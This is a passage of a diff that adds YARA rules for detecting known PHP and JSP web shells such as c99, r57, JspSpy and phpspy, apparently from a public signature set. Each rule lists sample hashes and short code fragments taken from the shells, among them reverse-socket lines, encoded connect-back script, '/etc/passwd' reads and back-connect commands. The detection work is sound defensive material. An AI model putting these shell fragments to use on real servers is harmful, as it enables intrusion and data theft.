+		hash5 = "1d912c55b96e2efe8ca873d6040e3b30"
+		hash6 = "e5b2131dd1db0dbdb43b53c5ce99016a"
+		hash7 = "4108f28a9792b50d95f95b9e5314fa1e"
+		hash8 = "41af6fd253648885c7ad2ed524e0692d"
+		hash9 = "6fcc283470465eed4870bcc3e2d7f14d"
+	strings:
+		$s2 = "echo sr(15,\"<b>\".$lang[$language.'_text58'].$arrow.\"</b>\",in('text','mk_name"
+		$s3 = "echo sr(15,\"<b>\".$lang[$language.'_text21'].$arrow.\"</b>\",in('checkbox','nf1"
+		$s9 = "echo sr(40,\"<b>\".$lang[$language.'_text26'].$arrow.\"</b>\",\"<select size="
+	condition:
+		all of them
+}
+rule webshell_807_a_css_dm_he1p_JspSpy_xxx {
+	meta:
+		description = "Web Shell - from files 807.jsp, a.jsp, css.jsp, dm.jsp, he1p.jsp, JspSpy.jsp, JspSpyJDK5.jsp, JspSpyJDK51.jsp, luci.jsp.spy2009.jsp, m.jsp, ma3.jsp, mmym520.jsp, nogfw.jsp, ok.jsp, style.jsp, u.jsp, xia.jsp, cofigrue.jsp, 1.jsp, jspspy.jsp, jspspy_k8.jsp, JspSpy.jsp, JspSpyJDK5.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "ae76c77fb7a234380cd0ebb6fe1bcddf"
+		hash1 = "76037ebd781ad0eac363d56fc81f4b4f"
+		hash2 = "fc44f6b4387a2cb50e1a63c66a8cb81c"
+		hash3 = "14e9688c86b454ed48171a9d4f48ace8"
+		hash4 = "b330a6c2d49124ef0729539761d6ef0b"
+		hash5 = "d71716df5042880ef84427acee8b121e"
+		hash6 = "341298482cf90febebb8616426080d1d"
+		hash7 = "29aebe333d6332f0ebc2258def94d57e"
+		hash8 = "42654af68e5d4ea217e6ece5389eb302"
+		hash9 = "88fc87e7c58249a398efd5ceae636073"
+		hash10 = "4a812678308475c64132a9b56254edbc"
+		hash11 = "9626eef1a8b9b8d773a3b2af09306a10"
+		hash12 = "344f9073576a066142b2023629539ebd"
+		hash13 = "32dea47d9c13f9000c4c807561341bee"
+		hash14 = "b9744f6876919c46a29ea05b1d95b1c3"
+		hash15 = "6acc82544be056580c3a1caaa4999956"
+		hash16 = "6aa32a6392840e161a018f3907a86968"
+		hash17 = "349ec229e3f8eda0f9eb918c74a8bf4c"
+		hash18 = "3ea688e3439a1f56b16694667938316d"
+		hash19 = "ab77e4d1006259d7cbc15884416ca88c"
+		hash20 = "71097537a91fac6b01f46f66ee2d7749"
+		hash21 = "2434a7a07cb47ce25b41d30bc291cacc"
+		hash22 = "7a4b090619ecce6f7bd838fe5c58554b"
+	strings:
+		$s1 = "\"<h2>Remote Control &raquo;</h2><input class=\\\"bt\\\" onclick=\\\"var"
+		$s2 = "\"<p>Current File (import new file name and new file)<br /><input class=\\\"inpu"
+		$s3 = "\"<p>Current file (fullpath)<br /><input class=\\\"input\\\" name=\\\"file\\\" i"
+	condition:
+		all of them
+}
+rule webshell_201_3_ma_download {
+	meta:
+		description = "Web Shell - from files 201.jsp, 3.jsp, ma.jsp, download.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "a7e25b8ac605753ed0c438db93f6c498"
+		hash1 = "fb8c6c3a69b93e5e7193036fd31a958d"
+		hash2 = "4cc68fa572e88b669bce606c7ace0ae9"
+		hash3 = "fa87bbd7201021c1aefee6fcc5b8e25a"
+	strings:
+		$s0 = "<input title=\"Upload selected file to the current working directory\" type=\"Su"
+		$s5 = "<input title=\"Launch command in current directory\" type=\"Submit\" class=\"but"
+		$s6 = "<input title=\"Delete all selected files and directories incl. subdirs\" class="
+	condition:
+		all of them
+}
+rule webshell_browser_201_3_400_in_JFolder_jfolder01_jsp_leo_ma_warn_webshell_nc_download {
+	meta:
+		description = "Web Shell - from files browser.jsp, 201.jsp, 3.jsp, 400.jsp, in.jsp, JFolder.jsp, jfolder01.jsp, jsp.jsp, leo.jsp, ma.jsp, warn.jsp, webshell-nc.jsp, download.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "37603e44ee6dc1c359feb68a0d566f76"
+		hash1 = "a7e25b8ac605753ed0c438db93f6c498"
+		hash2 = "fb8c6c3a69b93e5e7193036fd31a958d"
+		hash3 = "36331f2c81bad763528d0ae00edf55be"
+		hash4 = "793b3d0a740dbf355df3e6f68b8217a4"
+		hash5 = "8979594423b68489024447474d113894"
+		hash6 = "ec482fc969d182e5440521c913bab9bd"
+		hash7 = "f98d2b33cd777e160d1489afed96de39"
+		hash8 = "4b4c12b3002fad88ca6346a873855209"
+		hash9 = "4cc68fa572e88b669bce606c7ace0ae9"
+		hash10 = "e9a5280f77537e23da2545306f6a19ad"
+		hash11 = "598eef7544935cf2139d1eada4375bb5"
+		hash12 = "fa87bbd7201021c1aefee6fcc5b8e25a"
+	strings:
+		$s4 = "UplInfo info = UploadMonitor.getInfo(fi.clientFileName);" fullword
+		$s5 = "long time = (System.currentTimeMillis() - starttime) / 1000l;" fullword
+	condition:
+		all of them
+}
+rule webshell_shell_phpspy_2006_arabicspy {
+	meta:
+		description = "Web Shell - from files shell.php, phpspy_2006.php, arabicspy.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "791708057d8b429d91357d38edf43cc0"
+		hash1 = "40a1f840111996ff7200d18968e42cfe"
+		hash2 = "e0202adff532b28ef1ba206cf95962f2"
+	strings:
+		$s0 = "elseif(($regwrite) AND !empty($_POST['writeregname']) AND !empty($_POST['regtype"
+		$s8 = "echo \"<form action=\\\"?action=shell&dir=\".urlencode($dir).\"\\\" method=\\\"P"
+	condition:
+		all of them
+}
+rule webshell_in_JFolder_jfolder01_jsp_leo_warn {
+	meta:
+		description = "Web Shell - from files in.jsp, JFolder.jsp, jfolder01.jsp, jsp.jsp, leo.jsp, warn.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "793b3d0a740dbf355df3e6f68b8217a4"
+		hash1 = "8979594423b68489024447474d113894"
+		hash2 = "ec482fc969d182e5440521c913bab9bd"
+		hash3 = "f98d2b33cd777e160d1489afed96de39"
+		hash4 = "4b4c12b3002fad88ca6346a873855209"
+		hash5 = "e9a5280f77537e23da2545306f6a19ad"
+	strings:
+		$s4 = "sbFile.append(\"  &nbsp;<a href=\\\"javascript:doForm('down','\"+formatPath(strD"
+		$s9 = "sbFile.append(\" &nbsp;<a href=\\\"javascript:doForm('edit','\"+formatPath(strDi"
+	condition:
+		all of them
+}
+rule webshell_2_520_icesword_job_ma1_ma4_2 {
+	meta:
+		description = "Web Shell - from files 2.jsp, 520.jsp, icesword.jsp, job.jsp, ma1.jsp, ma4.jsp, 2.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "64a3bf9142b045b9062b204db39d4d57"
+		hash1 = "9abd397c6498c41967b4dd327cf8b55a"
+		hash2 = "077f4b1b6d705d223b6d644a4f3eebae"
+		hash3 = "56c005690da2558690c4aa305a31ad37"
+		hash4 = "532b93e02cddfbb548ce5938fe2f5559"
+		hash5 = "6e0fa491d620d4af4b67bae9162844ae"
+		hash6 = "7eabe0f60975c0c73d625b7ddf7b9cbd"
+	strings:
+		$s2 = "private String[] _textFileTypes = {\"txt\", \"htm\", \"html\", \"asp\", \"jsp\","
+		$s3 = "\\\" name=\\\"upFile\\\" size=\\\"8\\\" class=\\\"textbox\\\" />&nbsp;<input typ"
+		$s9 = "if (request.getParameter(\"password\") == null && session.getAttribute(\"passwor"
+	condition:
+		all of them
+}
+rule webshell_phpspy_2005_full_phpspy_2005_lite_PHPSPY {
+	meta:
+		description = "Web Shell - from files phpspy_2005_full.php, phpspy_2005_lite.php, PHPSPY.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "b68bfafc6059fd26732fa07fb6f7f640"
+		hash1 = "42f211cec8032eb0881e87ebdb3d7224"
+		hash2 = "0712e3dc262b4e1f98ed25760b206836"
+	strings:
+		$s6 = "<input type=\"text\" name=\"command\" size=\"60\" value=\"<?=$_POST['comma"
+		$s7 = "echo $msg=@copy($_FILES['uploadmyfile']['tmp_name'],\"\".$uploaddir.\"/\".$_FILE"
+		$s8 = "<option value=\"passthru\" <? if ($execfunc==\"passthru\") { echo \"selected\"; "
+	condition:
+		2 of them
+}
+rule webshell_shell_phpspy_2006_arabicspy_hkrkoz {
+	meta:
+		description = "Web Shell - from files shell.php, phpspy_2006.php, arabicspy.php, hkrkoz.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "791708057d8b429d91357d38edf43cc0"
+		hash1 = "40a1f840111996ff7200d18968e42cfe"
+		hash2 = "e0202adff532b28ef1ba206cf95962f2"
+		hash3 = "802f5cae46d394b297482fd0c27cb2fc"
+	strings:
+		$s5 = "$prog = isset($_POST['prog']) ? $_POST['prog'] : \"/c net start > \".$pathname."
+	condition:
+		all of them
+}
+rule webshell_c99_Shell_ci_Biz_was_here_c100_v_xxx {
+	meta:
+		description = "Web Shell - from files c99.php, Shell [ci] .Biz was here.php, c100 v. 777shell v. Undetectable #18a Modded by 777 - Don.php, c66.php, c99-shadows-mod.php, c99shell.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "61a92ce63369e2fa4919ef0ff7c51167"
+		hash1 = "f2fa878de03732fbf5c86d656467ff50"
+		hash2 = "27786d1e0b1046a1a7f67ee41c64bf4c"
+		hash3 = "0f5b9238d281bc6ac13406bb24ac2a5b"
+		hash4 = "68c0629d08b1664f5bcce7d7f5f71d22"
+		hash5 = "048ccc01b873b40d57ce25a4c56ea717"
+	strings:
+		$s8 = "else {echo \"Running datapipe... ok! Connect to <b>\".getenv(\"SERVER_ADDR\""
+	condition:
+		all of them
+}
+rule webshell_2008_2009lite_2009mssql {
+	meta:
+		description = "Web Shell - from files 2008.php, 2009lite.php, 2009mssql.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "3e4ba470d4c38765e4b16ed930facf2c"
+		hash1 = "3f4d454d27ecc0013e783ed921eeecde"
+		hash2 = "aa17b71bb93c6789911bd1c9df834ff9"
+	strings:
+		$s0 = "<a href=\"javascript:godir(\\''.$drive->Path.'/\\');"
+		$s7 = "p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all"
+	condition:
+		all of them
+}
+rule webshell_shell_phpspy_2005_full_phpspy_2005_lite_phpspy_2006_arabicspy_PHPSPY_hkrkoz {
+	meta:
+		description = "Web Shell - from files shell.php, phpspy_2005_full.php, phpspy_2005_lite.php, phpspy_2006.php, arabicspy.php, PHPSPY.php, hkrkoz.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "791708057d8b429d91357d38edf43cc0"
+		hash1 = "b68bfafc6059fd26732fa07fb6f7f640"
+		hash2 = "42f211cec8032eb0881e87ebdb3d7224"
+		hash3 = "40a1f840111996ff7200d18968e42cfe"
+		hash4 = "e0202adff532b28ef1ba206cf95962f2"
+		hash5 = "0712e3dc262b4e1f98ed25760b206836"
+		hash6 = "802f5cae46d394b297482fd0c27cb2fc"
+	strings:
+		$s0 = "$mainpath_info           = explode('/', $mainpath);" fullword
+		$s6 = "if (!isset($_GET['action']) OR empty($_GET['action']) OR ($_GET['action'] == \"d"
+	condition:
+		all of them
+}
+rule webshell_807_dm_JspSpyJDK5_m_cofigrue {
+	meta:
+		description = "Web Shell - from files 807.jsp, dm.jsp, JspSpyJDK5.jsp, m.jsp, cofigrue.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "ae76c77fb7a234380cd0ebb6fe1bcddf"
+		hash1 = "14e9688c86b454ed48171a9d4f48ace8"
+		hash2 = "341298482cf90febebb8616426080d1d"
+		hash3 = "88fc87e7c58249a398efd5ceae636073"
+		hash4 = "349ec229e3f8eda0f9eb918c74a8bf4c"
+	strings:
+		$s1 = "url_con.setRequestProperty(\"REFERER\", \"\"+fckal+\"\");" fullword
+		$s9 = "FileLocalUpload(uc(dx())+sxm,request.getRequestURL().toString(),  \"GBK\");" fullword
+	condition:
+		1 of them
+}
+rule webshell_Dive_Shell_1_0_Emperor_Hacking_Team_xxx {
+	meta:
+		description = "Web Shell - from files Dive Shell 1.0 - Emperor Hacking Team.php, phpshell.php, SimShell 1.0 - Simorgh Security MGZ.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "1b5102bdc41a7bc439eea8f0010310a5"
+		hash1 = "f8a6d5306fb37414c5c772315a27832f"
+		hash2 = "37cb1db26b1b0161a4bf678a6b4565bd"
+	strings:
+		$s1 = "if (($i = array_search($_REQUEST['command'], $_SESSION['history'])) !== fals"
+		$s9 = "if (ereg('^[[:blank:]]*cd[[:blank:]]*$', $_REQUEST['command'])) {" fullword
+	condition:
+		all of them
+}
+rule webshell_404_data_in_JFolder_jfolder01_xxx {
+	meta:
+		description = "Web Shell - from files 404.jsp, data.jsp, in.jsp, JFolder.jsp, jfolder01.jsp, jsp.jsp, leo.jsp, suiyue.jsp, warn.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "7066f4469c3ec20f4890535b5f299122"
+		hash1 = "9f54aa7b43797be9bab7d094f238b4ff"
+		hash2 = "793b3d0a740dbf355df3e6f68b8217a4"
+		hash3 = "8979594423b68489024447474d113894"
+		hash4 = "ec482fc969d182e5440521c913bab9bd"
+		hash5 = "f98d2b33cd777e160d1489afed96de39"
+		hash6 = "4b4c12b3002fad88ca6346a873855209"
+		hash7 = "c93d5bdf5cf62fe22e299d0f2b865ea7"
+		hash8 = "e9a5280f77537e23da2545306f6a19ad"
+	strings:
+		$s4 = "&nbsp;<TEXTAREA NAME=\"cqq\" ROWS=\"20\" COLS=\"100%\"><%=sbCmd.toString()%></TE"
+	condition:
+		all of them
+}
+rule webshell_jsp_reverse_jsp_reverse_jspbd {
+	meta:
+		description = "Web Shell - from files jsp-reverse.jsp, jsp-reverse.jsp, jspbd.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		super_rule = 1
+		hash0 = "8b0e6779f25a17f0ffb3df14122ba594"
+		hash1 = "ea87f0c1f0535610becadf5a98aca2fc"
+		hash2 = "7d5e9732766cf5b8edca9b7ae2b6028f"
+		score = 50
+	strings:
+		$s0 = "osw = new BufferedWriter(new OutputStreamWriter(os));" fullword
+		$s7 = "sock = new Socket(ipAddress, (new Integer(ipPort)).intValue());" fullword
+		$s9 = "isr = new BufferedReader(new InputStreamReader(is));" fullword
+	condition:
+		all of them
+}
+rule webshell_400_in_JFolder_jfolder01_jsp_leo_warn_webshell_nc {
+	meta:
+		description = "Web Shell - from files 400.jsp, in.jsp, JFolder.jsp, jfolder01.jsp, jsp.jsp, leo.jsp, warn.jsp, webshell-nc.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "36331f2c81bad763528d0ae00edf55be"
+		hash1 = "793b3d0a740dbf355df3e6f68b8217a4"
+		hash2 = "8979594423b68489024447474d113894"
+		hash3 = "ec482fc969d182e5440521c913bab9bd"
+		hash4 = "f98d2b33cd777e160d1489afed96de39"
+		hash5 = "4b4c12b3002fad88ca6346a873855209"
+		hash6 = "e9a5280f77537e23da2545306f6a19ad"
+		hash7 = "598eef7544935cf2139d1eada4375bb5"
+	strings:
+		$s0 = "sbFolder.append(\"<tr><td >&nbsp;</td><td>\");" fullword
+		$s1 = "return filesize / intDivisor + \".\" + strAfterComma + \" \" + strUnit;" fullword
+		$s5 = "FileInfo fi = (FileInfo) ht.get(\"cqqUploadFile\");" fullword
+		$s6 = "<input type=\"hidden\" name=\"cmd\" value=\"<%=strCmd%>\">" fullword
+	condition:
+		2 of them
+}
+rule webshell_2_520_job_JspWebshell_1_2_ma1_ma4_2 {
+	meta:
+		description = "Web Shell - from files 2.jsp, 520.jsp, job.jsp, JspWebshell 1.2.jsp, ma1.jsp, ma4.jsp, 2.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "64a3bf9142b045b9062b204db39d4d57"
+		hash1 = "9abd397c6498c41967b4dd327cf8b55a"
+		hash2 = "56c005690da2558690c4aa305a31ad37"
+		hash3 = "70a0ee2624e5bbe5525ccadc467519f6"
+		hash4 = "532b93e02cddfbb548ce5938fe2f5559"
+		hash5 = "6e0fa491d620d4af4b67bae9162844ae"
+		hash6 = "7eabe0f60975c0c73d625b7ddf7b9cbd"
+	strings:
+		$s1 = "while ((nRet = insReader.read(tmpBuffer, 0, 1024)) != -1) {" fullword
+		$s6 = "password = (String)session.getAttribute(\"password\");" fullword
+		$s7 = "insReader = new InputStreamReader(proc.getInputStream(), Charset.forName(\"GB231"
+	condition:
+		2 of them
+}
+rule webshell_shell_2008_2009mssql_phpspy_2005_full_phpspy_2006_arabicspy_hkrkoz {
+	meta:
+		description = "Web Shell - from files shell.php, 2008.php, 2009mssql.php, phpspy_2005_full.php, phpspy_2006.php, arabicspy.php, hkrkoz.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 60
+		super_rule = 1
+		hash0 = "791708057d8b429d91357d38edf43cc0"
+		hash1 = "3e4ba470d4c38765e4b16ed930facf2c"
+		hash2 = "aa17b71bb93c6789911bd1c9df834ff9"
+		hash3 = "b68bfafc6059fd26732fa07fb6f7f640"
+		hash4 = "40a1f840111996ff7200d18968e42cfe"
+		hash5 = "e0202adff532b28ef1ba206cf95962f2"
+		hash6 = "802f5cae46d394b297482fd0c27cb2fc"
+	strings:
+		$s0 = "$tabledump .= \"'\".mysql_escape_string($row[$fieldcounter]).\"'\";" fullword
+		$s5 = "while(list($kname, $columns) = @each($index)) {" fullword
+		$s6 = "$tabledump = \"DROP TABLE IF EXISTS $table;\\n\";" fullword
+		$s9 = "$tabledump .= \"   PRIMARY KEY ($colnames)\";" fullword
+		$fn = "filename: backup"
+	condition:
+		2 of ($s*) and not $fn
+}
+rule webshell_gfs_sh_r57shell_r57shell127_SnIpEr_SA_xxx {
+	meta:
+		description = "Web Shell - from files gfs_sh.php, r57shell.php, r57shell127.php, SnIpEr_SA Shell.php, EgY_SpIdEr ShElL V2.php, r57_iFX.php, r57_kartal.php, r57_Mohajer22.php, r57.php, r57.php, Backdoor.PHP.Agent.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "a2516ac6ee41a7cf931cbaef1134a9e4"
+		hash1 = "ef43fef943e9df90ddb6257950b3538f"
+		hash2 = "ae025c886fbe7f9ed159f49593674832"
+		hash3 = "911195a9b7c010f61b66439d9048f400"
+		hash4 = "697dae78c040150daff7db751fc0c03c"
+		hash5 = "513b7be8bd0595c377283a7c87b44b2e"
+		hash6 = "1d912c55b96e2efe8ca873d6040e3b30"
+		hash7 = "e5b2131dd1db0dbdb43b53c5ce99016a"
+		hash8 = "4108f28a9792b50d95f95b9e5314fa1e"
+		hash9 = "41af6fd253648885c7ad2ed524e0692d"
+		hash10 = "6fcc283470465eed4870bcc3e2d7f14d"
+	strings:
+		$s0 = "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuI"
+		$s11 = "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KIC"
+	condition:
+		all of them
+}
+rule webshell_itsec_PHPJackal_itsecteam_shell_jHn {
+	meta:
+		description = "Web Shell - from files itsec.php, PHPJackal.php, itsecteam_shell.php, jHn.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "8ae9d2b50dc382f0571cd7492f079836"
+		hash1 = "e2830d3286001d1455479849aacbbb38"
+		hash2 = "bd6d3b2763c705a01cc2b3f105a25fa4"
+		hash3 = "40c6ecf77253e805ace85f119fe1cebb"
+	strings:
+		$s0 = "$link=pg_connect(\"host=$host dbname=$db user=$user password=$pass\");" fullword
+		$s6 = "while($data=ocifetchinto($stm,$data,OCI_ASSOC+OCI_RETURN_NULLS))$res.=implode('|"
+		$s9 = "while($data=pg_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+"
+	condition:
+		2 of them
+}
+rule webshell_Shell_ci_Biz_was_here_c100_v_xxx {
+	meta:
+		description = "Web Shell - from files Shell [ci] .Biz was here.php, c100 v. 777shell v. Undetectable #18a Modded by 777 - Don.php, c99-shadows-mod.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "f2fa878de03732fbf5c86d656467ff50"
+		hash1 = "27786d1e0b1046a1a7f67ee41c64bf4c"
+		hash2 = "68c0629d08b1664f5bcce7d7f5f71d22"
+	strings:
+		$s2 = "if ($data{0} == \"\\x99\" and $data{1} == \"\\x01\") {return \"Error: \".$stri"
+		$s3 = "<OPTION VALUE=\"find /etc/ -type f -perm -o+w 2> /dev/null\""
+		$s4 = "<OPTION VALUE=\"cat /proc/version /proc/cpuinfo\">CPUINFO" fullword
+		$s7 = "<OPTION VALUE=\"wget http://ftp.powernet.com.tr/supermail/de"
+		$s9 = "<OPTION VALUE=\"cut -d: -f1,2,3 /etc/passwd | grep ::\">USER"
+	condition:
+		2 of them
+}
+rule webshell_NIX_REMOTE_WEB_SHELL_NIX_REMOTE_WEB_xxx1 {
+	meta:
+		description = "Web Shell - from files NIX REMOTE WEB-SHELL.php, NIX REMOTE WEB-SHELL v.0.5 alpha Lite Public Version.php, KAdot Universal Shell v0.1.6.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "0b19e9de790cd2f4325f8c24b22af540"
+		hash1 = "f3ca29b7999643507081caab926e2e74"
+		hash2 = "527cf81f9272919bf872007e21c4bdda"
+	strings:
+		$s1 = "<td><input size=\"48\" value=\"$docr/\" name=\"path\" type=\"text\"><input type="
+		$s2 = "$uploadfile = $_POST['path'].$_FILES['file']['name'];" fullword
+		$s6 = "elseif (!empty($_POST['ac'])) {$ac = $_POST['ac'];}" fullword
+		$s7 = "if ($_POST['path']==\"\"){$uploadfile = $_FILES['file']['name'];}" fullword
+	condition:
+		2 of them
+}
+rule webshell_c99_c99shell_c99_w4cking_Shell_xxx {
+	meta:
+		description = "Web Shell - from files c99.php, c99shell.php, c99_w4cking.php, Shell [ci] .Biz was here.php, acid.php, c100 v. 777shell v. Undetectable #18a Modded by 777 - Don.php, c66.php, c99-shadows-mod.php, c99.php, c99shell.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "61a92ce63369e2fa4919ef0ff7c51167"
+		hash1 = "d3f38a6dc54a73d304932d9227a739ec"
+		hash2 = "9c34adbc8fd8d908cbb341734830f971"
+		hash3 = "f2fa878de03732fbf5c86d656467ff50"
+		hash4 = "b8f261a3cdf23398d573aaf55eaf63b5"
+		hash5 = "27786d1e0b1046a1a7f67ee41c64bf4c"
+		hash6 = "0f5b9238d281bc6ac13406bb24ac2a5b"
+		hash7 = "68c0629d08b1664f5bcce7d7f5f71d22"
+		hash8 = "157b4ac3c7ba3a36e546e81e9279eab5"
+		hash9 = "048ccc01b873b40d57ce25a4c56ea717"
+	strings:
+		$s0 = "echo \"<b>HEXDUMP:</b><nobr>"
+		$s4 = "if ($filestealth) {$stat = stat($d.$f);}" fullword
+		$s5 = "while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo \"<tr><td>\".$r"
+		$s6 = "if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo \"DB "
+		$s8 = "echo \"<center><b>Server-status variables:</b><br><br>\";" fullword
+		$s9 = "echo \"<textarea cols=80 rows=10>\".htmlspecialchars($encoded).\"</textarea>"
+	condition:
+		2 of them
+}
+rule webshell_2008_2009mssql_phpspy_2005_full_phpspy_2006_arabicspy_hkrkoz {
+	meta:
+		description = "Web Shell - from files 2008.php, 2009mssql.php, phpspy_2005_full.php, phpspy_2006.php, arabicspy.php, hkrkoz.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "3e4ba470d4c38765e4b16ed930facf2c"
+		hash1 = "aa17b71bb93c6789911bd1c9df834ff9"
+		hash2 = "b68bfafc6059fd26732fa07fb6f7f640"
+		hash3 = "40a1f840111996ff7200d18968e42cfe"
+		hash4 = "e0202adff532b28ef1ba206cf95962f2"
+		hash5 = "802f5cae46d394b297482fd0c27cb2fc"
+	strings:
+		$s0 = "$this -> addFile($content, $filename);" fullword
+		$s3 = "function addFile($data, $name, $time = 0) {" fullword
+		$s8 = "function unix2DosTime($unixtime = 0) {" fullword
+		$s9 = "foreach($filelist as $filename){" fullword
+	condition:
+		all of them
+}
+rule webshell_c99_c66_c99_shadows_mod_c99shell {
+	meta:
+		description = "Web Shell - from files c99.php, c66.php, c99-shadows-mod.php, c99shell.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "61a92ce63369e2fa4919ef0ff7c51167"
+		hash1 = "0f5b9238d281bc6ac13406bb24ac2a5b"
+		hash2 = "68c0629d08b1664f5bcce7d7f5f71d22"
+		hash3 = "048ccc01b873b40d57ce25a4c56ea717"
+	strings:
+		$s2 = "  if (unlink(_FILE_)) {@ob_clean(); echo \"Thanks for using c99shell v.\".$shv"
+		$s3 = "  \"c99sh_backconn.pl\"=>array(\"Using PERL\",\"perl %path %host %port\")," fullword
+		$s4 = "<br><TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#66"
+		$s7 = "   elseif (!$data = c99getsource($bind[\"src\"])) {echo \"Can't download sources"
+		$s8 = "  \"c99sh_datapipe.pl\"=>array(\"Using PERL\",\"perl %path %localport %remotehos"
+		$s9 = "   elseif (!$data = c99getsource($bc[\"src\"])) {echo \"Can't download sources!"
+	condition:
+		2 of them
+}
+rule webshell_he1p_JspSpy_nogfw_ok_style_1_JspSpy1 {
+	meta:
+		description = "Web Shell - from files he1p.jsp, JspSpy.jsp, nogfw.jsp, ok.jsp, style.jsp, 1.jsp, JspSpy.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "b330a6c2d49124ef0729539761d6ef0b"
+		hash1 = "d71716df5042880ef84427acee8b121e"
+		hash2 = "344f9073576a066142b2023629539ebd"
+		hash3 = "32dea47d9c13f9000c4c807561341bee"
+		hash4 = "b9744f6876919c46a29ea05b1d95b1c3"
+		hash5 = "3ea688e3439a1f56b16694667938316d"
+		hash6 = "2434a7a07cb47ce25b41d30bc291cacc"
+	strings:
+		$s0 = "\"\"+f.canRead()+\" / \"+f.canWrite()+\" / \"+f.canExecute()+\"</td>\"+" fullword
+		$s4 = "out.println(\"<h2>File Manager - Current disk &quot;\"+(cr.indexOf(\"/\") == 0?"
+		$s7 = "String execute = f.canExecute() ? \"checked=\\\"checked\\\"\" : \"\";" fullword
+		$s8 = "\"<td nowrap>\"+f.canRead()+\" / \"+f.canWrite()+\" / \"+f.canExecute()+\"</td>"
+	condition:
+		2 of them
+}
+rule webshell_000_403_c5_config_myxx_queryDong_spyjsp2010_zend {
+	meta:
+		description = "Web Shell - from files 000.jsp, 403.jsp, c5.jsp, config.jsp, myxx.jsp, queryDong.jsp, spyjsp2010.jsp, zend.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "2eeb8bf151221373ee3fd89d58ed4d38"
+		hash1 = "059058a27a7b0059e2c2f007ad4675ef"
+		hash2 = "8b457934da3821ba58b06a113e0d53d9"
+		hash3 = "d44df8b1543b837e57cc8f25a0a68d92"
+		hash4 = "e0354099bee243702eb11df8d0e046df"
+		hash5 = "90a5ba0c94199269ba33a58bc6a4ad99"
+		hash6 = "655722eaa6c646437c8ae93daac46ae0"
+		hash7 = "591ca89a25f06cf01e4345f98a22845c"
+	strings:
+		$s0 = "return new Double(format.format(value)).doubleValue();" fullword
+		$s5 = "File tempF = new File(savePath);" fullword
+		$s9 = "if (tempF.isDirectory()) {" fullword
+	condition:
+		2 of them
+}
+rule webshell_c99_c99shell_c99_c99shell {
+	meta:
+		description = "Web Shell - from files c99.php, c99shell.php, c99.php, c99shell.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "61a92ce63369e2fa4919ef0ff7c51167"
+		hash1 = "d3f38a6dc54a73d304932d9227a739ec"
+		hash2 = "157b4ac3c7ba3a36e546e81e9279eab5"
+		hash3 = "048ccc01b873b40d57ce25a4c56ea717"
+	strings:
+		$s2 = "$bindport_pass = \"c99\";" fullword
+		$s5 = " else {echo \"<b>Execution PHP-code</b>\"; if (empty($eval_txt)) {$eval_txt = tr"
+	condition:
+		1 of them
+}
+rule webshell_r57shell127_r57_iFX_r57_kartal_r57_antichat {
+	meta:
+		description = "Web Shell - from files r57shell127.php, r57_iFX.php, r57_kartal.php, r57.php, antichat.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "ae025c886fbe7f9ed159f49593674832"
+		hash1 = "513b7be8bd0595c377283a7c87b44b2e"
+		hash2 = "1d912c55b96e2efe8ca873d6040e3b30"
